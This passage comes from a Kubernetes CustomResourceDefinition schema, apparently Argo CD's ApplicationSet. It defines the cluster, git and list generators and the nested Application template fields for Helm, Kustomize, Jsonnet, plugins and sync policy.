                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        required:
                        - configMapRef
                        type: object
                      clusters:
                        properties:
                          flatList:
                            type: boolean
                          selector:
                            properties:
                              matchExpressions:
                                items:
                                  properties:
                                    key:
                                      type: string
                                    operator:
                                      type: string
                                    values:
                                      items:
                                        type: string
                                      type: array
                                      x-kubernetes-list-type: atomic
                                  required:
                                  - key
                                  - operator
                                  type: object
                                type: array
                                x-kubernetes-list-type: atomic
                              matchLabels:
                                additionalProperties:
                                  type: string
                                type: object
                            type: object
                            x-kubernetes-map-type: atomic
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        type: object
                      git:
                        properties:
                          directories:
                            items:
                              properties:
                                exclude:
                                  type: boolean
                                path:
                                  type: string
                              required:
                              - path
                              type: object
                            type: array
                          files:
                            items:
                              properties:
                                exclude:
                                  type: boolean
                                path:
                                  type: string
                              required:
                              - path
                              type: object
                            type: array
                          pathParamPrefix:
                            type: string
                          repoURL:
                            type: string
                          requeueAfterSeconds:
                            format: int64
                            type: integer
                          revision:
                            type: string
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        required:
                        - repoURL
                        - revision
                        type: object
                      list:
                        properties:
                          elements:
                            items:
                              x-kubernetes-preserve-unknown-fields: true
                            type: array
                          elementsYaml:
                            type: string
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
